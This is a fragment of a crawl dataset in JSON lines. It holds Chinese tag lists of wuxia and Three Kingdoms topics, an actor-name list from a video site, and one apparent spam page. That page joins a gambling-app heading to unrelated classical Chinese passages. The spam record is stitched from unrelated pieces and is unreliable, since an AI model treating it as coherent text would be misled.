":"{\"lzh_Hani_score\": 0.5073986053466797, \"cmn_Hani_score\": 0.35801026225090027, \"nan_Hani_score\": 0.11890362948179245, \"yue_Hani_score\": 0.013917309232056141}","num_words":243,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n石雙英 九韶定音劍 陳家洛 鎖子縮骨功 太極七截棍 段譽 街亭 凌波微步 子貴母死 武田信玄 星宿派 三十六招鳥啄擊法 法正 慈航劍典 宗預 碧海潮生曲 夏姬 歐陽鋒 東洋神風刀法 五虎斷門刀 董卓討伐戰 楚留香新傳之新月傳奇 史火龍 空明拳 桃谷六仙 定靜師太 蝶雙飛 日月當空 辟邪劍法 九難 華山派 楊修 多情劍客無情劍 嵩山十三太保 諸葛恪 紅花會 飛狐外傳 枯木神功 曾柔 徐榮 全真七子 白世鏡 青龍會 怒劍狂花 神君別傳 殘金缺玉 郭靖 梅超風 劍客行 武當派 月異星邪 程靈素 劍毒梅香 戰神圖錄 葵花寶典 天魔心法 挾刀揉手 諸葛誕 吳六奇 廖化 完顏洪烈 流雲飛袖 御盡萬法根源智經 靈犀一指 九陽真經 孫尚香 陳近南 柳絮劍法 夷陵之戰 慕容博 移花接玉 劉表 情人箭 白自在 驚魂六記 天地明環 魅影身法 牛郎一百零八棍 衡山派 祝融 關興 霍去病 禿筆翁 古墓派 關羽 夷陵之戰 水雲袖法 蔣濟 鷹變十三式 四大名捕 五虎斷門刀 常伯志 丁璫 七殺拳 李秋水 阿珂 西蜀地形圖 達爾巴 大圓滿杖法 起風了 陸抗 旋風十八矛 九轉還童 練師 尉遲恭 臥龍 蔡文姬 華山論劍 桃根仙 儀琳 曹丕 天魅凝陰 伏魔劍法 銅錘 霓裳仙舞 東方不敗 黃蓉 黃蓋 十住大乘功 張翼 大地飛鷹 玄鐵劍法 公孫止 血戰十式 無想奼女大法 神鵰俠侶 流星鎚 先天功 穿雲劍法 裘千尺 楊過 金輪法王 丁典 吳質 泰山派 曹丕篡漢 朱然 劍氣書香 雪山飛狐 冷月寶刀 阿朱 天涯明月刀 決戰前後 峨嵋派 紫微軟劍 五嶽劍派 左冷禪 吳應熊 飛龍五式 裘千仞 郭芙 一燈大師 君子劍 穆念慈 覆雨劍法 圓月彎刀 張飛 火併蕭十一郎 九陽神功 神龍教 張無忌 英雄無淚 捨身大法 天外流星 沐劍屏 王語嫣 陸遜 鍾靈 勞德諾 桃花島 瘋魔上天下地一百零七撃 裂馬槍 硃砂掌 兵器譜 天龍八部 曹操 姜維 鄧芝 華山派 二宮之爭 袁紫衣 傻姑 鬼王鞭 韋春花 黃忠 左慈 諸葛亮南征 天心蓮環 張春華 臥龍生 文醜 五行劍法 魏晉玄學 菊花的刺 群狐 趙志敬 紫氣天羅 內家橫練 長河正氣 碎金剛乘 死眷術 亡神十八掌 桃花仙 張三李四 飛伏一百零八槍 掃地僧 于萬亭 浣花洗劍錄 蛤蟆功 枯禪玄功 白阿繡 東興之戰 擒拿截脈法 鴛鴦刀 吳三桂 鬼魅潛蹤 崑崙派 金剛門 徐天宏 藏密智能書 井中八法 江南七怪 蕭十一郎 郭嘉 殷離 德川家康 奕劍術 丞相 幻魔身法 雙尖軟矛 潼關之戰 呂布 貝海石 孤星傳 逍遙派 賭局 不死七幻 尼摩星 折花百式 大武俠時代 名劍風流 孫曉 曹操討伐袁術之戰 黑白子 陸小鳳傳奇 博望坡之戰 桃葉仙 蒼穹十三式 玉女媚術 魏滅蜀之戰 打狗棒法 彼岸劍訣 馬超 赤壁之戰 周瑜 龐統 射鵰三部曲 周泰 魔佛十式 白骨爪 織女劍法 丞相,起風了 黃藥師 鍾會 仙門劍訣 逍遙拆 公孫綠萼 石中玉 伏養氣功 周芷若 絕不低頭 絕代雙驕角色列表 無塵道長 甘寧 翔鷹劍法 古龍 月英 桃實仙 長平公主 笮融 金丹大法 大拍手 倚天屠龍記 馬忠 小昭 風萍掌 小鷹爪功 冰玄勁 金錢幫 燎原百擊 韓小瑩 謝遜 無念禪功 羅漢伏虎拳 雙兒 李莫愁 紫血大法 曹純 魯肅 鰲拜 孫皓 劍罡同流 袁承志 易京之戰 天魔手七十二式 種玉大法 高平陵之變 一指頭禪 乾隆 韋一笑 夢姑 道心種魔大法 龍木島主 凝真九變 飛鷹十三刺 文鴦 呂蒙 刑遁術 魏延 菩提心功 天外飛仙 石田三成 桃枝仙 漢中之戰 曹操迎天子 大開碑手 郭襄 青松劍譜 曹睿 古龍作品 王重陽 楚留香新傳 無相神功 夏青青 荀彧 降龍十八掌 滿地開花八十—式 流星鎚 青龍偃月刀 合肥之戰 劉備 丈八蛇矛 橫煉罡 屯田制 合淝新城之戰 岳不羣 伏虎神拳 遊俠錄 程普 羅憲 神州奇俠 官渡之戰 歐陽克 變天擊地大法 董允 燕子雙飛 曹休 太虛錯手 狄雲 夏侯霸 黃鍾公 崆峒派 滿寵 急風十三刺 趙雲 石亭之戰 蕭遠山 馬岱 呂后 大手印 小龍女 南匈奴 楚留香新傳之借屍還魂 曹叡 孫皓暴政 韓當 天地明環 蒼穹十三劍 日月麗天大法 青城派 水笙 碧血劍 狂沙刀法 大唐雙龍傳 蕭摩訶 絕代雙驕 白馬嘯西風 逆水寒 第六天魔王 張苞 黃皓 連體心法 銀龍手 陸無雙 夏侯惇 七星龍王 呂玲綺 范遙 沖虛道長 譙周 溫瑞安 下邳之戰 武三通 黃祖 飄香劍雨 飛天狐狸 嫁衣神功 男人見不得 程英 烏金血劍 貂蟬 飛鶯飛鷹 李元霸 尉遲敬德 六脈神劍 徐晃 龍門鏢局 玩命拳 梅花鉤 江夏戰神 呂壹專權 鍾會之亂 鍾繇 武當掌法 任盈盈 九字真言手印 少林三渡 沉沙劍法 建寧公主 天魔大法 幽灵山庄 歸藏鞭 合淝之戰 石清 銀雕 暴雨梨花釘 壽春馳援 花間十二支 七禽身法 星际浪子 扭轉乾坤殺手劍 楊康 楚留香傳奇 金庸 披風杖法 瀟湘子 余滄海 七种武器 血海飄香 姜維北伐 空綁術 移玉大法 凌統 大意失荊州 袁紹 袖裡乾坤 鳩摩智 金絲綿掌 逍遙訣 鄧艾 張召重 雷霆刀法 魏滅蜀之戰 馬大元 布衣神相 王元姬 仇國論 枯榮大師 許褚 玄慈 桃幹仙 清風十三式 閔柔 恆山派 費禕 奇功絕藝榜 定逸師太 竹節鞭 先天氣功 謝煙客 豔陽刃法 天山童姥 玄鐵重劍 心硯 趙半山 劍玄錄 五毒教 鮑三娘 羊祜 無崖子 連城訣 福康安 七殺手 天鷹教 諸葛亮 空城計 蒼穹神劍 化石神功 北冥神功 寧中則 曹仁 丁不三 雙修大法 地煞拳 孫權 曹真 汪劍通 七流星 喬鋒 張遼 曹爽專權 界橋之戰 張郃 慕容復 林朝英 齊桓公 興勢之戰 滅神掌 不戒和尚 絕情谷 彭長老 炎陽奇功 合淝之戰 石亭之戰 誰來跟我乾杯 典韋 護花鈴 丹青生 徐盛 無想十法 流星蝴蝶劍 姑蘇慕容 奪命十三劍 張角 五毒神功 衛青 的盧 玉女劍法 丹心術 五帝鐧 大人物 周伯通 不死印法 神蛛凌空銀絲渡虛 岳靈珊 笑傲江湖 摩尼教 九轉無相神功 楊逍 呂布爭徐州 定世鞭 丁不四 倚天劍 郭解 湘妃劍 迎風一刀斬 樂進 曹丕伐吳 馬謖 玄氣大法 霍都 黃天大法 一休 大元丹法 梅花鉤 玉女素心劍法 紫霞神功 李牧 摘心手 武林外史 華陀針 少林神拳 樊城之戰 海大富 胡斐 司馬師 郭淮 白狼山之戰 白萬劍 周倉 任我行 阿青 回轉斧法三十式 散手八撲 魅影劍法 彩環曲 鹿鼎記 刀劍雙殺七七四十九式 迷蹤七變 馬皇后 段正明 海神 金針開穴之法 魅變術 壽春三叛 劉備稱帝 田伯光 建安文學 定閒師太 九玄大法 破蓮八著 司馬昭 朱子柳 阿紫 就地十八滾 劍花煙雨江南 星彩 涼州軍劫天子 大旗英雄傳 孟獲 飛龍大九式 丁奉 孫堅 司馬昭弒君 南皮之戰 挾天子 化骨綿掌 胡昭 七傷拳 關平 碧落紅塵 一扇十八搖 木婉清 邊城浪子 駱冰 林平之 不碎金剛 法顯 蔣四根 魯有腳 天魔擊三大散招 常赫志 鳥渡術 嫁衣神功 九月鷹飛 心佛掌 五絕神功 方證大師 吳國太 耶律齊 余魚同 荊州 賈詡 黃皓專權 趙敏 益州之戰 楚留香新傳之蝙蝠傳奇 毛玠 太清元功 洪七公 陽頂天 鐵騎快劍 飛刀,又見飛刀 夏侯嬰 龜息功 韋小寶 令狐沖 風清揚 尹克西 刀白鳳 太史慈 成昆 交阯之亂 索額圖 方怡 歡樂英雄 少林派 倪匡 吳起 吸星大法 賈充 滿天花雨 戚芳 十二都天神功 換日大法 梵我如一 楊儀 阿九 斷絕神功 石破天 達摩手 陳宮 幻影劍法 炎元真氣 降龍伏虎羅漢拳 武當七俠 聖火令 游坦之 蘇荃 上官鼎 鐵脊蛇矛 歸辛樹 丁春秋 血鸚鵡 永安之戰 黃權 西陵之戰 孫策平江東之戰 陳到 甄姬 封天閉地 伊達政宗 滅絕師太 夏侯淵 諸葛亮北伐 九陰真經 軟蝟甲 方天畫戟 韋小寶 風鈴中的刀聲 孫權建國 殭屍拳 龐德 掩月劍法 三少爺的劍 丐幫 于禁 洪承疇 鳳天南 書劍恩仇錄 四大惡人 瑛姑 明玉功 破碎虚空 尋秦記 太虛勁 鄭丰 張三丰 左手刀法 大喬 晉滅吳之戰 屠龍刀 王平 郭馬之亂 林遠圖 彈指神通 如意八打 九品中正制 董卓 明珠 狼牙 文泰來 淑女劍 神刀斬 雲行雨飄 金蛇郎君 鬼火十三拍 曹操攻徐州之戰 黑鬼爪 俠客行 越女劍 飛燕七式 蝴蝶穿花七十二式 金蛇劍 荊楚爭雄記 童子功十三太保橫練 雙手互搏 塌上策 章進 司馬懿 曹洪 蔣幹 張大春 鐵蒺藜骨朵 梁羽生 蔣琬 白玉老虎 鴛鴦腿 七十二路分筋錯骨手 劉禪 楊頂天 龍吟曲 李廣 呂母 楊成協 藍鳳凰 諸葛瞻 覆雨翻雲 荀攸 失魂引 燕子三抄水 歸魂十八爪 衛春華 孫策 破精自絕大法 東興之戰 黯然銷魂掌 莫大先生 日月神教 武夷派 賈南風 徐庶 蕭逸 全真教 嵩山派 虛竹 碧血洗銀槍 雌雄雙股劍 沙影二十八劍 奪命簪 馮錫范 李典 關索 王異 青釭劍 一串鞭 三尸腦神丹 萬物波動心法 魔心連環 八賢王 小喬 段正淳 邊荒傳說 天一掌 奼女心法 隆中對 關銀屏 儀琳 獨孤九劍 康敏 霍青桐 倉亭之戰 康熙","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.herostory.tw\/alltags","date":"2019-10-15T04:50:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986655864.19\/warc\/CC-MAIN-20191015032537-20191015060037-00280.warc.gz","language":"lzh","language_score":0.5900556445,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900556445121765, \"nan_Hani_score\": 0.25269579887390137, \"cmn_Hani_score\": 0.12175051122903824, \"yue_Hani_score\": 0.03296083211898804}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"乐虎直播app二维码雷神山医院C3病区清零母子患者同日出院\n獫狁、薰粥,居于北边。既称夏裔,式憬周篇。颇随畜牧,屡扰尘烟。爰自冒顿,尤聚控弦。虽空帑藏,未尽中权。\n三王异龟,五帝殊卜。或长或短,若瓦若玉。其记已亡,其繇後续。江使触网,见留宋国。神能讬梦,不卫其足。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n河亶甲崩,子帝祖乙立。帝祖乙立,殷复兴。巫贤任职。\n十年,楚太子建母在居巢,开吴。吴使公子光伐楚,遂败陈、蔡,取太子建母而去。楚恐,城郢。初,吴之边邑卑梁与楚边邑锺离小童争桑,两家交怒相攻,灭卑梁人。卑梁大夫怒,发邑兵攻锺离。楚王闻之怒,发国兵灭卑梁。吴王闻之大怒,亦发兵,使公子光因建母家攻楚,遂灭锺离、居巢。楚乃恐而城郢。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/bwcgn.xyjt88.com\/gtwzw\/363424.html","date":"2020-04-05T09:16:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371576284.74\/warc\/CC-MAIN-20200405084121-20200405114121-00212.warc.gz","language":"lzh","language_score":0.4884618223,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48846182227134705, \"cmn_Hani_score\": 0.2475842833518982, \"nan_Hani_score\": 0.06314129382371902, \"wuu_Hani_score\": 0.03632349520921707, \"yue_Hani_score\": 0.027820512652397156, \"jpn_Jpan_score\": 0.017380526289343834, \"und_Tang_score\": 0.01379026286303997, \"zxx_Latn_score\": 0.012362956069409847}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.451,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n秦漢 黃浩然 商天娥 米雪 羅霖 黃智賢 張國強 陳煒 潘志文 盧慶輝 田蕊妮 珈潁 譚倩紅 黎思嘉 洪林小湛 劉錫賢 林明倫 洪乙心 郭舒賢 王渝文 張雷 樓南光 戴龍 黃子雄 梁愛 黃樹棠 蘇昶 白彪 黃文慧 李楓 饒芷昀 林子博 林美華 張煒 成元鈞 嘉俊 錢嘉成 蔡國威\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E8%94%A1%E5%9C%8B%E5%A8%81------------.html","date":"2020-10-19T16:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107863364.0\/warc\/CC-MAIN-20201019145901-20201019175901-00467.warc.gz","language":"lzh","language_score":0.8462169766,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8462169766426086, \"cmn_Hani_score\": 0.09226132184267044, \"nan_Hani_score\": 0.056062690913677216}","num_words":353,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.861,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n名劍風流 鐵蒺藜骨朵 回轉斧法三十式 硃砂掌 天魔手七十二式 裘千尺 梅花鉤 移玉大法 尉遲恭 武林外史 賈詡 石亭之戰 馬岱 俠客行 嫁衣神功 五帝鐧 絕情谷 紫氣天羅 羅憲 陸小鳳傳奇 邊荒傳說 常伯志 石亭之戰 古龍作品 沐劍屏 阿青 曹仁 洪七公 玄慈 南皮之戰 換日大法 鄭丰 滿地開花八十—式 十二都天神功 呂布 尋秦記 風鈴中的刀聲 白馬嘯西風 海神 桃幹仙 劍玄錄 掩月劍法 飛鷹十三刺 幻魔身法 毛玠 丁不四 鍾會之亂 清風十三式 七殺拳 劍氣書香 天龍八部 黃鍾公 屠龍刀 失魂引 裘千仞 李廣 倚天劍 絕代雙驕 費禕 阿紫 化骨綿掌 書劍恩仇錄 李元霸 達爾巴 天外飛仙 逍遙訣 小喬 李秋水 心佛掌 劍毒梅香 余魚同 張召重 紫微軟劍 楊成協 仙門劍訣 郭襄 諸葛瞻 黃祖 呂母 建寧公主 黃皓專權 一休 楚留香新傳之新月傳奇 炎元真氣 古龍 白萬劍 不死印法 梅超風 七流星 青龍偃月刀 鳳天南 玄鐵劍法 不戒和尚 雪山飛狐 太清元功 大意失荊州 蒼穹十三式 飄香劍雨 阿珂 崑崙派 雲行雨飄 周芷若 飛天狐狸 孫權建國 幻影劍法 桃實仙 郭馬之亂 晉滅吳之戰 孫策平江東之戰 陸遜 衛春華 血戰十式 彩環曲 九月鷹飛 曹休 蕭逸 索額圖 小昭 史火龍 無崖子 楊康 風萍掌 樊城之戰 童子功十三太保橫練 九陽神功 無相神功 張春華 九轉無相神功 蝶雙飛 二宮之爭 伏魔劍法 破精自絕大法 夏姬 蝴蝶穿花七十二式 碧落紅塵 海大富 益州之戰 西陵之戰 典韋 諸葛亮南征 戚芳 夏侯嬰 連體心法 誰來跟我乾杯 披風杖法 五毒教 五虎斷門刀 阿九 神君別傳 日月當空 韋小寶 九轉還童 流星蝴蝶劍 袁承志 楊過 興勢之戰 夢姑 黃忠 朱子柳 荊州 三尸腦神丹 十住大乘功 法正 北冥神功 關銀屏 曹丕篡漢 樂進 九韶定音劍 周倉 天魔擊三大散招 天外流星 飛狐外傳 覆雨翻雲 姜維 奪命簪 雌雄雙股劍 鳥渡術 青松劍譜 魔佛十式 常赫志 尹克西 炎陽奇功 陳到 程英 衛青 張翼 漢中之戰 桃花仙 枯榮大師 孫權 丞相 地煞拳 孫皓暴政 九字真言手印 左手刀法 降龍伏虎羅漢拳 暴雨梨花釘 徐榮 林遠圖 道心種魔大法 射鵰三部曲 賈充 街亭 玉女素心劍法 任我行 逍遙派 七傷拳 布衣神相 龍木島主 四大惡人 華山派 太史慈 梵我如一 張苞 嵩山十三太保 蔣琬 大開碑手 紅花會 張大春 蕭摩訶 崆峒派 君子劍 劍花煙雨江南 東洋神風刀法 呂布爭徐州 種玉大法 一指頭禪 合淝之戰 武當七俠 起風了 飛伏一百零八槍 公孫止 慈航劍典 陽頂天 貂蟬 吳質 董卓 赤壁之戰 曹爽專權 天山童姥 歸藏鞭 田伯光 嫁衣神功 徐晃 水笙 殷離 王平 江夏戰神 刑遁術 靈犀一指 趙志敬 韓小瑩 曾柔 沙影二十八劍 吳起 大武俠時代 全真七子 馬皇后 荀攸 不死七幻 阿朱 黃權 建安文學 幽灵山庄 魯有腳 迎風一刀斬 水雲袖法 韋一笑 殘金缺玉 西蜀地形圖 彭長老 金蛇劍 碧血洗銀槍 吳應熊 七星龍王 散手八撲 桃葉仙 玄氣大法 王語嫣 諸葛亮北伐 倪匡 丈八蛇矛 無想奼女大法 鄧艾 石清 無念禪功 貝海石 程靈素 屯田制 岳靈珊 呂壹專權 九品中正制 張角 上官鼎 男人見不得 吳三桂 就地十八滾 鮑三娘 聖火令 魅變術 太虛錯手 張遼 練師 關興 華山論劍 東方不敗 白自在 一串鞭 賈南風 捨身大法 張郃 凌波微步 破蓮八著 段正淳 左冷禪 章進 全真教 歸魂十八爪 劉禪 司馬師 博望坡之戰 江南七怪 五虎斷門刀 鐵脊蛇矛 龍吟曲 許褚 太虛勁 法顯 袖裡乾坤 飛燕七式 流星鎚 姑蘇慕容 空城計 夏侯惇 少林派 林平之 徐盛 古墓派 獨孤九劍 孫曉 趙半山 徐天宏 楚留香新傳 楊逍 武當掌法 挾天子 魅影身法 宗預 王異 孫策 段正明 連城訣 丁典 龜息功 方怡 摩尼教 馬大元 遊俠錄 東興之戰 刀劍雙殺七七四十九式 郭淮 丹青生 星宿派 武三通 少林神拳 劉備稱帝 夏青青 郭靖 李莫愁 馬忠 織女劍法 空綁術 殭屍拳 飛刀,又見飛刀 張三李四 驚魂六記 四大名捕 化石神功 長平公主 鎖子縮骨功 黃藥師 玉女媚術 內家橫練 斷絕神功 玉女劍法 勞德諾 金絲綿掌 降龍十八掌 關索 奕劍術 韓當 陳宮 群狐 桃谷六仙 曹操 歐陽克 胡昭 雷霆刀法 五毒神功 金剛門 夏侯霸 桃枝仙 郭嘉 魏延 石破天 諸葛誕 任盈盈 諸葛恪 丁春秋 伏虎神拳 泰山派 孤星傳 擒拿截脈法 汪劍通 覆雨劍法 霍都 定靜師太 夷陵之戰 臥龍 儀琳 豔陽刃法 青龍會 華山派 夏侯淵 完顏洪烈 魯肅 大喬 雙修大法 木婉清 曹操攻徐州之戰 賭局 大人物 孫尚香 孟獲 齊桓公 兵器譜 絕代雙驕角色列表 陸無雙 井中八法 方證大師 陳家洛 子貴母死 血海飄香 大拍手 洪承疇 儀琳 尉遲敬德 武夷派 合淝新城之戰 譙周 雙兒 裂馬槍 潼關之戰 魅影劍法 如意八打 曹純 鷹變十三式 梅花鉤 涼州軍劫天子 九玄大法 曹操討伐袁術之戰 碧血劍 穆念慈 駱冰 天地明環 閔柔 吳六奇 黯然銷魂掌 冰玄勁 關羽 奇功絕藝榜 明玉功 滅絕師太 曹丕伐吳 易京之戰 丐幫 謝煙客 天涯明月刀 峨嵋派 鍾靈 天魔心法 達摩手 金蛇郎君 奪命十三劍 紫血大法 玩命拳 不碎金剛 恆山派 丹心術 護花鈴 湘妃劍 流星鎚 鬼火十三拍 曹洪 枯木神功 竹節鞭 塌上策 莫大先生 花間十二支 鴛鴦腿 逍遙拆 沖虛道長 挾刀揉手 笮融 于萬亭 刀白鳳 牛郎一百零八棍 紫霞神功 流雲飛袖 菩提心功 丁不三 七禽身法 決戰前後 丞相,起風了 瘋魔上天下地一百零七撃 五行劍法 石中玉 大唐雙龍傳 明珠 歐陽鋒 吸星大法 金輪法王 羊祜 滿天花雨 大地飛鷹 月英 菊花的刺 大旗英雄傳 烏金血劍 魏滅蜀之戰 壽春三叛 五嶽劍派 七十二路分筋錯骨手 冷月寶刀 多情劍客無情劍 怒劍狂花 銀龍手 衡山派 九難 交阯之亂 定閒師太 鰲拜 打狗棒法 禿筆翁 李牧 軟蝟甲 喬鋒 韋春花 荊楚爭雄記 福康安 趙雲 霍去病 劉表 笑傲江湖 青城派 風清揚 三十六招鳥啄擊法 銀雕 下邳之戰 鬼魅潛蹤 狂沙刀法 天心蓮環 瑛姑 九陰真經 諸葛亮 大元丹法 越女劍 文泰來 韋小寶 黃蓉 蔡文姬 令狐沖 壽春馳援 旋風十八矛 周瑜 陸抗 三少爺的劍 蘇荃 林朝英 燎原百擊 丁璫 孫皓 郭解 燕子三抄水 石雙英 成昆 燕子雙飛 周伯通 黃皓 先天功 孫堅 德川家康 穿雲劍法 大手印 破碎虚空 鍾繇 蔣濟 逆水寒 郭芙 司馬懿 鹿鼎記 藏密智能書 蛤蟆功 王元姬 康熙 伊達政宗 掃地僧 御盡萬法根源智經 的盧 曹操迎天子 楊儀 甄姬 倉亭之戰 倚天屠龍記 隆中對 楚留香傳奇 血鸚鵡 王重陽 黃天大法 日月神教 吳國太 關平 七殺手 枯禪玄功 楊頂天 鍾會 鐵騎快劍 趙敏 武當派 彼岸劍訣 公孫綠萼 鄧芝 楊修 迷蹤七變 急風十三刺 董允 神龍教 金丹大法 丁奉 馮錫范 魏滅蜀之戰 劍客行 臥龍生 蒼穹神劍 月異星邪 司馬昭 蔣幹 銅錘 一燈大師 程普 神蛛凌空銀絲渡虛 蕭遠山 蒼穹十三劍 霓裳仙舞 七种武器 合肥之戰 劉備 游坦之 邊城浪子 梁羽生 飛龍五式 太極七截棍 曹叡 文鴦 無塵道長 淑女劍 張三丰 周泰 黑鬼爪 滿寵 霍青桐 奼女心法 陳近南 玄鐵重劍 無想十法 英雄無淚 定逸師太 岳不羣 左慈 龐統 封天閉地 神刀斬 瀟湘子 白玉老虎 甘寧 袁紫衣 第六天魔王 嵩山派 楚留香新傳之蝙蝠傳奇 乾隆 黃蓋 星际浪子 魏晉玄學 凌統 鴛鴦刀 蔣四根 朱然 五絕神功 雙手互搏 段譽 摘心手 龐德 雙尖軟矛 范遙 橫煉罡 青釭劍 曹真 星彩 武田信玄 溫瑞安 飛龍大九式 心硯 魔心連環 死眷術 白阿繡 余滄海 長河正氣 楚留香新傳之借屍還魂 傻姑 徐庶 祝融 仇國論 石田三成 南匈奴 張飛 伏養氣功 碎金剛乘 九陽真經 白狼山之戰 桃根仙 彈指神通 神州奇俠 歡樂英雄 白世鏡 歸辛樹 官渡之戰 小鷹爪功 李典 六脈神劍 廖化 張無忌 金針開穴之法 耶律齊 翔鷹劍法 葵花寶典 小龍女 天一掌 馬超 荀彧 變天擊地大法 袁紹 永安之戰 絕不低頭 八賢王 移花接玉 于禁 文醜 亡神十八掌 圓月彎刀 姜維北伐 藍鳳凰 扭轉乾坤殺手劍 呂玲綺 呂后 天鷹教 辟邪劍法 碧海潮生曲 狼牙 方天畫戟 凝真九變 日月麗天大法 天魔大法 尼摩星 鬼王鞭 寧中則 馬謖 情人箭 鳩摩智 戰神圖錄 空明拳 東興之戰 高平陵之變 金庸 董卓討伐戰 司馬昭弒君 先天氣功 火併蕭十一郎 滅神掌 龍門鏢局 界橋之戰 曹丕 天魅凝陰 黑白子 狄雲 